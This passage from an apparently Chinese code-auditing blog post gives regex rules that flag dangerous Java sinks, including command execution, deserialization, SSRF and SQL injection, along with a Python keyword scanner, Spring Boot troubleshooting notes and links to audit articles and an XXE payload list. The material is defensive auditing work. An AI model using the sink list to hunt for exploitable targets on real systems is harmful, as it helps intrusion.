<regexp>JSON\.parseObject\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='readValue'>
<regmatch>
<regexp>ObjectMapper\.readValue</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='fromXML'>
<regmatch>
<regexp>fromXML\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='readUnshared'>
<regmatch>
<regexp>readUnshared\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='Yaml'>
<regmatch>
<regexp>\.load\(</regexp>
</regmatch>
</rule>
</function>
</javaid>



<javaid vultype='SSRF'>
<function>
<rule name='HttpClient'>
<regmatch>
<regexp>CloseableHttpClient\s?[\w\d\_]+\s?=\s?\w?[\w\d\_]+\.createDefault\(</regexp>
<!-- <regexp>HttpClient\(|executeMethod\(</regexp> -->
</regmatch>
</rule>
</function>
<function>
<rule name='HttpAsyncClient'>
<regmatch>
<regexp>CloseableHttpAsyncClient\s[\w\d\_]+\s?=\s?</regexp>
<regexp>HttpAsyncClients\.createDefault\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='URLConnection'>
<regmatch>
<regexp>import\sjava\.net\.URLConnection;</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='HttpURLConnection'>
<regmatch>
<regexp>\.openConnection\(|\.getInputStream\(</regexp>
</regmatch>
</rule>
</function>



<function>
<rule name='URL'>
<regmatch>
<regexp>URL\(|openStream\(</regexp>
</regmatch>
</rule>
</function>

<function>
<rule name='Socket'>
<regmatch>
<regexp>new\sSocket\(</regexp>
</regmatch>
</rule>
</function>


<function>
<rule name='OkHttpClient'>
<regmatch>
<regexp>\.newCall\(|Request.Builder\(\)</regexp>
</regmatch>
</rule>
</function>

<function>
<rule name='ImageIO'>
<regmatch>
<regexp>ImageIO\.read\(</regexp>
</regmatch>
</rule>
</function>


<function>
<rule name='Hutool'>
<regmatch>
<regexp>HttpRequest\.get</regexp>
<regexp>HttpRequest\.post</regexp>
</regmatch>
</rule>
</function>


<function>
<rule name='Jsoup'>
<regmatch>
<regexp>Jsoup\.connect</regexp>
</regmatch>
</rule>
</function>

<function>
<rule name='RestTemplate'>
<regmatch>
<regexp>\.getForObject\(</regexp>
<regexp>RestTemplate</regexp>
</regmatch>
</rule>
</function>

<function>
<rule name='SimpleDriverDataSource'>
<regmatch>
<regexp>\.getConnection\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='DriverManager'>
<regmatch>
<regexp>\.getConnection\(</regexp>
</regmatch>
</rule>
</function>
</javaid>



<javaid vultype='FileUpload'>
<function>
<rule name='MultipartFile'>
<regmatch>
<regexp>\.getOriginalFilename\(|MultipartFile\s</regexp>
</regmatch>
</rule>
</function>
</javaid>



<javaid vultype='File'>
<function>
<rule name='createNewFile'>
<regmatch>
<regexp>\.createNewFile\(|FileOutputStream\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='delete'>
<regmatch>
<regexp>\.delete\(\)</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='FileInputStream'>
<regmatch>
<regexp>new\sFileInputStream\(</regexp>
</regmatch>
</rule>
</function>

<function>
<rule name='maybe'>
<regmatch>
<regexp>org\.springframework\.stereotype\.Controller</regexp>
<regexp>org\.apache\.commons\.io\.FileUtils</regexp>
<regexp>import\sjava\.nio\.file\.Files</regexp>
<regexp>import\sjava\.nio\.file\.Path</regexp>
<regexp>import\sjava\.nio\.file\.Paths</regexp>
<regexp>import\sjava\.util\.Scanner</regexp>
<regexp>sun\.nio\.ch\.FileChannelImpl</regexp>
<regexp>java\.io\.File\.list/listFiles</regexp>
<regexp>java\.io\.FileInputStream</regexp>
<regexp>java\.io\.FileOutputStream</regexp>
<regexp>java\.io\.FileSystem/Win32FileSystem/WinNTFileSystem/UnixFileSystem</regexp>
<regexp>sun\.nio\.fs\.UnixFileSystemProvider/WindowsFileSystemProvider</regexp>
<regexp>java\.io\.RandomAccessFile</regexp>
<regexp>sun\.nio\.fs\.CopyFile</regexp>
<regexp>sun\.nio\.fs\.UnixChannelFactory</regexp>
<regexp>sun\.nio\.fs\.WindowsChannelFactory</regexp>
<regexp>java\.nio\.channels\.AsynchronousFileChannel</regexp>
<regexp>BufferedReader</regexp>
<regexp>readAllBytes</regexp>
</regmatch>
</rule>
</function>

</javaid>



<javaid vultype='Autobinding'>
<function>
<rule name='SessionAttributes'>
<regmatch>
<regexp>@SessionAttributes</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='ModelAttribute'>
<regmatch>
<regexp>@ModelAttribute</regexp>
</regmatch>
</rule>
</function>
</javaid>




<javaid vultype='URL-Redirect'>
<function>
<rule name='sendRedirect'>
<regmatch>
<regexp>sendRedirect\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='setHeader'>
<regmatch>
<regexp>setHeader\(\"refresh</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='forward'>
<regmatch>
<regexp>forward\(</regexp>
</regmatch>
</rule>
</function>
</javaid>



<javaid vultype='EXEC'>
<function>
<rule name='getRuntime'>
<regmatch>
<regexp>getRuntime\(\)\.exec\(</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='ProcessBuilder'>
<regmatch>
<regexp>ProcessBuilder|ProcessBuilder\.start</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='GroovyShell'>
<regmatch>
<regexp>GroovyShell\.evaluate</regexp>
</regmatch>
</rule>
</function>
</javaid>



<javaid vultype='SPelInjection'>
<function>
<rule name='SpelExpressionParser'>
<regmatch>
<regexp>SpelExpressionParser</regexp>
</regmatch>
</rule>
</function>
<function>
<rule name='getValue'>
<regmatch>
<regexp>getValue\(\)</regexp>
</regmatch>
</rule>
</function>
</javaid>




<javaid vultype='SQLi'>
<function>
<rule name='select'>
<regmatch>
<regexp>(into|where)[^\$]*(\$\{[^,#=\s]+\})</regexp>
</regmatch>
</rule>
</function>
</javaid>


<javaid vultype='Info-disclosure'>
<function>
<rule name='actuator'>
<regmatch>
<regexp>spring-boot-starter-actuator</regexp>
</regmatch>
</rule>
</function>
</javaid>


</root>

搜索关键字的一个脚步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import re
import os
import optparse
import sys
import logging



# logging.basicConfig(filename='example.log', encoding='utf-8', level=logging.DEBUG)
# logging.basicConfig(level=logging.DEBUG)


class javaid(object):
def __init__(self,dir,keysfile):
self._keysfile = keysfile # 关键字文件地址
self._line = 0 # 代码行数
self._dir = dir # 项目代码地址
self._shortfilename = '' # 文件名
self._filename = '' # 文件路径
self._vultype = '' # 漏洞类型
self._code = '' # 匹配到的这行代码,文件路径
self._keys = '' # 需要查找的关键字,前面带**re**的是以正则查询
self._rekey = "*re*" # 正则识别关键字


def _run(self):
if self._keysfile == '':
self.keys = input("关键字>>>>>")
print("="*10)
else:
f = open(self._keysfile,'r')
self.keys = f.read()
f.close()

print(self.keys+"\n")
self.handlePath(self._dir)


def report_info(self,key):
# 输出控制
print("[+]【\033[1;32m"+key+"\033[0m】【\033[1;34m"+self._shortfilename+"\033[0m】"+self._filename)

def report_code(self):
# 输出代码
print("line:",self._line," code: \033[1;31m",self._code,"\033[0m")


def handlePath(self, path):
'''
用递归遍历所有的文件名,并发给handleFile()方法去处理
'''
dirs = os.listdir(path)

for d in dirs:
subpath = os.path.join(path, d)
if os.path.isfile(subpath):
if os.path.splitext(subpath)[1] == '.java':
# if os.path.splitext(subpath)[1] == '.java' or os.path.splitext(subpath)[1] == '.xml':
self._filename =subpath
(_, self._shortfilename) = os.path.split(subpath)
self.handleFile(subpath)
# logging.info(subpath)
# input(">>")
else:
self.handlePath(subpath)

def handleFile(self, fileName):
'''
打开文件, 发给check_regexp去使用正则处理
'''
#print 'begin read file:' + fileName
f = open(fileName, 'r')
self._line = 0
content = f.read()
self.check_regexp(content)
f.close()




def check_regexp(self, content):
'''
使用正则搜索文件内容中的关键字
'''
if not content:
return

for key in self.keys.strip().split("\n"):
logging.info(key)
if key.startswith("// "):
# key被注释,跳过
continue
if key.startswith(self._rekey):
# 判断到使用正则匹配
logging.info(self._shortfilename+" search-re")
key = key.removeprefix(self._rekey)
key_pattern = re.compile(key)
results = key_pattern.findall(content)
if len(results) > 0:
self.report_info(key)
for result in results:
self.get_code(result)
else:
# 直接关键字搜索
logging.info(self._shortfilename+" search-key")
if key in content:
self.report_info(key)
self.get_code(key)



def get_code(self,result):
'''
匹配相关代码,并确定文件行数
'''
fl = open(self._filename, 'r')
self._line =0
while 1:
line = fl.readline()
if not line:
break

self._line += 1
if result in line:
self._code = line.strip()
self.report_code()
break



if __name__ == '__main__':
parser = optparse.OptionParser('usage: python %prog [options](eg: python %prog -d /user/java/demo)')
parser.add_option('-d', '--dir', dest = 'dir', type = 'string', help = 'source code file dir')
parser.add_option('-k', '--keys', dest = 'keys', type = 'string', help = 'keys file')

(options, args) = parser.parse_args()

keysfile = ''
if options.keys != None:
try:
f = open(options.keys,'r')
key = f.readline()
f.close()
keysfile = options.keys
except:
print("keys file read error")
sys.exit()

if options.dir == None or options.dir == "":
parser.print_help()
sys.exit()
dir =options.dir
javaidentify = javaid(dir,keysfile)
javaidentify._run()


报错信息记录

1

Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed: java.lang.IllegalStateException: No primary or single unique constructor found for interface javax.servlet.http.HttpServletResponse] with root cause

这个报错的重点在于后面的 java.lang.IllegalStateException: No primary or single unique constructor found for interface javax.servlet.http.HttpServletResponse] with root cause

对比了两个几乎一模一样的项目后发现,应该是因为org.springframework.boot的版本太高了,导致的javax.servlet出错。因为我报错的时候的pom.xml文件中,它的版本是3.1.2,我改成2.7.2就没问题了

这是没报错的pom.xml文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.2</version>
<!-- <version>3.1.2</version>-->
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>java_rce_web</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>java_rce_web</name>
<description>java_rce_web</description>
<properties>
<java.version>1.8</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
</dependencies>

<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>

</project>

2

com.sun.image.codec.jpeg不存在

查了许多文章,都是在pom.xml中加类似下面这样的东西,实测没用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--解决打包错 程序包com.sun.image.codec.jpeg不存在-->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
<compilerArguments>
<verbose />
<bootclasspath>${java.home}/lib/rt.jar;${java.home}/lib/jce.jar</bootclasspath>
</compilerArguments>
</configuration>
</plugin>
<!-- windows下用;,linux下用: -->

真正能用的还是改代码,目前还没测试兼容性问题,但是com.sun.image.codec.jpeg这个包已经很老了。使用这句代码替换原代码实现的功能

1
ImageIO.write(tag,"jpeg",out);

image-20230821093918165

参考

Java审计之文件上传 https://www.cnblogs.com/CoLo/p/15225367.html

Java安全之命令执行 https://www.anquanke.com/post/id/221159

XML External Entity (XXE) Injection Payload List https://github.com/payloadbox/xxe-injection-payload-list

逃逸安全的模板沙箱(一)——FreeMarker(上)https://paper.seebug.org/1304/#liferay-freemarkerssti

SSTI - ThymeLeaf 优秀文章

 Comments